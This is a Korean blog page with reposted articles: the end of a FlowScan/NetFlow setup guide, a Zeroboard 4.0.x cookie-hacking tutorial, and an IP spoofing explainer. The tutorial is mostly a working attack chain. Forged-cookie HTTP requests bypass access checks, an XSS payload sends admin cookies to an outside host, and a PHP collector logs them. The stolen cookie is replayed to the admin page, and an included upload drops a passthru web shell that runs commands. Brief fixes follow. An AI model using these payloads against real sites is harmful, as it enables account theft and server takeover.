OutputDir /var/netflow/rrds

# Scoreboard/AggregateScore 부분 : 트래픽을 많이 발생시키는 순위에 대한 html파일이 저장되는 부분.

Apache에서 이 파일을 링크하도록 구성하면 웹에서 확인 가능

Scoreboard  25  /var/netflow/scoreboard /var/netflow/scoreboard/toptalkers.html

AggregateScore 25 /var/netflow/rrds/agg.dat /var/netflow/scoreboard/overall.html

# Router 부분 : flow를 발생시키는 라우터 리스트

Router 210.100.64.1 GSR

Router 211.12.160.1 7513

☞ 이제 모든 준비가 끝났으므로 FlowScan을 실행시켜 NetFlow데이터가 제대로 쌓이는 지 확인해 보자.

5.      FlowScan 실행

1)      스크립트 작성

#touch /var/netflow/bin/fs.sh;

#chmod 755 /var/netflow/bin/fs.sh

#vi /var/netflow/bin/fs.sh

#!/bin/sh
# description: Start FlowScan

case "$1" in
'start')
cd /var/netflow/ ; bin/flowscan >>/var/log/flowscan 2>&1 </dev/null & >/dev/null
touch /var/lock/subsys/flowscan.1
;;
'stop')
rm -f /var/lock/subsys/flowscan.1
;;
*)
echo "Usage: $0 { start | stop }"
;;
esac
exit 0

2)      flowscan 실행하기

#/var/netflow/bin/fs.sh start

#tail f /var/log/flowscan (아래와 같이 보이면 성공)

sleep 30...
2002/06/24 03:05:09 working on file flows.20020624_03:00:00...
2002/06/24 03:05:53 FlowScan-1.020 CUFlow: Cflow::find took 44 wallclock secs (43.57 usr + 0.11 sys = 43.68 CPU) for 8729930 flow file bytes, flow hit ratio: 156224/158726
2002/06/24 03:05:56 FlowScan-1.020 CUFlow: report took 3 wallclock secs ( 0.00 usr 0.03 sys + 1.47 cusr 1.30 csys = 2.80 CPU)
sleep 30...

3)      flowdumper

   용도 : FlowScan에 의해 가공된 파일은 RRD형식이므로 cat같은 명령으로는 읽을 수 없다. Flowdumper RRD파일을 텍스트로 변형시켜 보여줌으로 grep과 같은 명령어와 혼합하면 원하는 데이터를 얻을 수 있다.

   사용예

#flowdumper s flows.20031214_20:45:00 | grep 211.238.196.17

4)      CUGrapher.pl

     용도 : RRD파일을 가공해서 그래프로 보여주는 perl프로그램

     CUFlow-1.4 디렉토리에서 아파치의 cgi-bin디렉토리로 복사

     http://yourserver/cgi-bin/CUGrapher.pl 로 접속

     참고사이트

o        http://wwwstats.net.wisc.edu

o        http://flows.ikano.com

6.      기타 관련 사이트

     http://www.cisco.com/go/fn - This is the Cisco Feature Navigator

     http://httpd.apache.org/ - This is the home page for Apache. This is the web server that I recommend.

     http://www.rrdtool.org/ - This is the RRDTool home page.

     http://www.splintered.net/sw/flow-tools/ - This is the flow-tools home page.

     http://net.doit.wisc.edu/~plonka/FlowScan/ - This is the FlowScan home page.

     http://www.columbia.edu/acis/networks/advanced/CUFlow/ - This is the CUFlow home page.

     http://net.doit.wisc.edu/~plonka/list/flowscan/ - This is the FlowScan mailing list home page.

     http://wwwstats.net.wisc.edu - Examples of FlowScan and CUFlow.

     http://flows.ikano.com - Another example web site.

     https://www1.columbia.edu/sec/bboard/mj/cuflow-users/ - CUFlow mailing list archive. The mailing list is cuflow-users@columbia.edu.

Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:41
출처 블로그 > xitem님의 블로그
원본 http://blog.naver.com/xitem/140012193274
쿠키해킹 개념잡기  
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.

여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.

zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.

문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.

문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.

1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }

이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.

첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.

HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.

zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.

cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.

1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }

7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.

그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)

다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.

하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.

여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.

member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.

먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면

zboard.php

1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)

앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.

if($setup[grant_list]<0&&!$is_admin)

어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.

만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.

1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

secret 게시판

15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........

1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.

이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.

view.php

1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");

view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.

위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.

그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.

1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호

결과 :

444 번 글

이름 : 이승진

제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..

2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.

주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.

게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.

가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.

trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.

trace.php 소스 설명 공격 설명

1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");

1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.

trace.php 의 실제 이용방법을 알아보자.

1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;

결과 :

test1 게시판

[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)

2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.

keykind 의 종류는 다음과 같다.

keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo

위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.

하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?

이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)

먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.

<?
system("echo -n \" <? passthru(\$\" > imnotj.php");
system("echo -n \"cmd); ?>\" >> imnotj.php");

echo "<font size=5>keke";
?>

<? passthru($cmd); ?>

이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.

자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.

만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)

그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.

그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)

그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.

어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.

자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..

javascript 로 쿠키를 빼오는 스크립트

-----------------------------------------------------------------------------

1 <script language=javascript>
2 window.open("http://beist.org/test.php?cook="+document.cookie);
3 </script>
4 HELLO ADMIN!

-----------------------------------------------------------------------------

1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.

sample CGI script

echo.php

<? echo "hello $insu"; ?>

위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는

hello beist

라는 문자열을 되돌려준다.

쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

(zetyxboard_password 의 값은 임의로 설정한 값이다.)

이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.

test.php

<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cook\n");
?>

간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.

넘어온 쿠키값이 만약

zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

라고 하면 /tmp/zerohack.txt 에는

제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

이 담기게 될것이다.

이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.

여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

어쩌고.. 저쩌고..
.................
.................

(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)

설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.

그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.

위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.

1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;

4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.

이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.

ex)

http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody

이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.

해결책을 알아보자.

쿠키 스니핑

먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.

거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.

eregi_replace("<", "<", $comment);

이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.

쿠키 스푸핑

Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.

필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.

위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.

예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.

여기서는 간단하게 소스를 만들어보겠다.

$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));

하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.

그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.

잘못된 알고리즘

여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.

$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}

Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.
Posted by theYoungman
engineering/Network Eng.2006. 8. 10. 14:40
IP Spoofing

IP 스푸핑(IP Spoofing)이란?

Spoof란 단어의 사전적 의미는 'hoax; trick; swindle 골탕 먹이다.; 속여먹다.; 야바위(치다), 우롱, 사취'이다. 즉 해커가 악용하고자 하는 호스트의 IP 어드레스를 바꾸어서 이를 통해 해킹을 하는 것을 IP 스푸핑이다.
네트워크 시스템에서 서로 신뢰관계에 있는 A, B 두 시스템간에는 A 시스템의 어카운트를 가지고 B 시스템을 액세스 할 수 있다. 이는 네트워크에서 신뢰관계를 형성하는 서비스가 네트워크 주소에 기반하여 이를 인증하기 때문이다. 이로 인해 IP 스푸핑이 가능해 진다. IP 스푸핑은 이 신뢰관계에 있는 두 시스템사이에서 해커의 호스트를 마치 하나의 신뢰관계에 있는 호스트인 것처럼 속이는 것이다. 또한 IP 스푸핑과 항상 연동돼 사용되는 공격법으로 TCP sequence number guessing attack을 들 수 있다.

TCP Sequence Number Guessing Attack이란?
과거에 Internet worm의 저자로도 유명했던 Robert T.Morris가 벨 연구소에서 인턴쉽으로 일할 때 쓴 논문에서 처음으로 알려졌고 AT&A사의 Bellovin S.M이 89년 쓴 논문에서도 언급이 되었던 공격 방법이다.(Security Problems in the TCP/IP Protocol Suite).
Kevin Mitnick이 사용한 방법 또한, 이런 공격을 이용해 몇 년 전에 보안업계를 떠들석하게 했었던 사건이 하나 있다. 바로 Kevin Mitnick이 슈퍼 컴퓨터센터 소속 연구원의 컴퓨터를 공격해 자료를 빼간 뒤 관리자인 Tsutomu Shimomura를 조롱하고 달아난 사건이다. Kevin Mitnick은 상당기간 동안 잡히지 않다가 Tsutomu Shimomura의 추적 끝에 간신히 잡힌 것으로 이 사건은 결말이 났다. 바로 이 사건에서 Kevin Mitnick이 쓴 방법도 TCP Sequence Number Guessing Attack의 특별한 한 형태라고 할 수 있다. (Kevin Mitnick이 사용한 방법은 IP 어드레스를 spoof해서 Berlerly R-command(rlogin, rcp, rsh 등)를 공격한 방법이었다.)

스푸핑에 관한 모든 것
TCP와 UDP 서비스는 호스트의 IP 주소가 유효하다고 가정하고, 그 결과로 주소를 신뢰한다. 어쨌든, 해커의 호스트는 IP 소스 라우팅을 사용해서 신뢰받는 호스트나 클라이언트로 변장할 수 있다. 해커는 IP 소스 라우팅을 사용해서 목적지의 길을 지정할 수 있고, 원래 위치로 돌아오는 길도 지정할 수 있다. 경로(route)는 여러분이 패킷을 목적지에 보내는 데 사용하는 라우터나 호스트를 말려들 게 할 수도 있다. 이 방법으로 해커는 진짜 호스트로 갈 패킷을 만나지 않고도 전송을 가로채거나 수정할 수 있다. 다음의 예는 어떻게 해커의 시스템이 특정한 서버의 신뢰받는 클라이언트로 변장할 수 있는지를 보여준다.
  1. 해커는 변장 호스트의 IP 주소를 신뢰받는 클라이언트의 주소와 일치하게 변경한다.
  2. IP 패킷은 직접 패스를 서버로 보내야 하고, 해커의 호스트로부터 가지고 돌아와야만 한다. 해커는 이 직접 패스를 지정하는 서버로서 소스 경로를 구성한다.
  3. 해커는 소스 경로를 사용해서 서버에게 클라이언트 요청을 보낸다.
  4. 서버는 요청이 신뢰받는 클라이언트로부터 직접 온 것처럼 생각해서 클라이언트 요청을 받아들이고, 신뢰받는 클라이언트에게 응답을 보낸다.
  5. 신뢰받는 클라이언트는 소스 경로를 사용해서 패킷을 서버의 호스트에 보낸다.

많은 유닉스 호스트는 소스-발송의 패킷을 받아들이고, 이 패킷을 소스 경로가 지시하는 곳으로 보낼 것이다. 많은 라우터는 소스-발송의 패킷 또한 받아 들일 것이다.
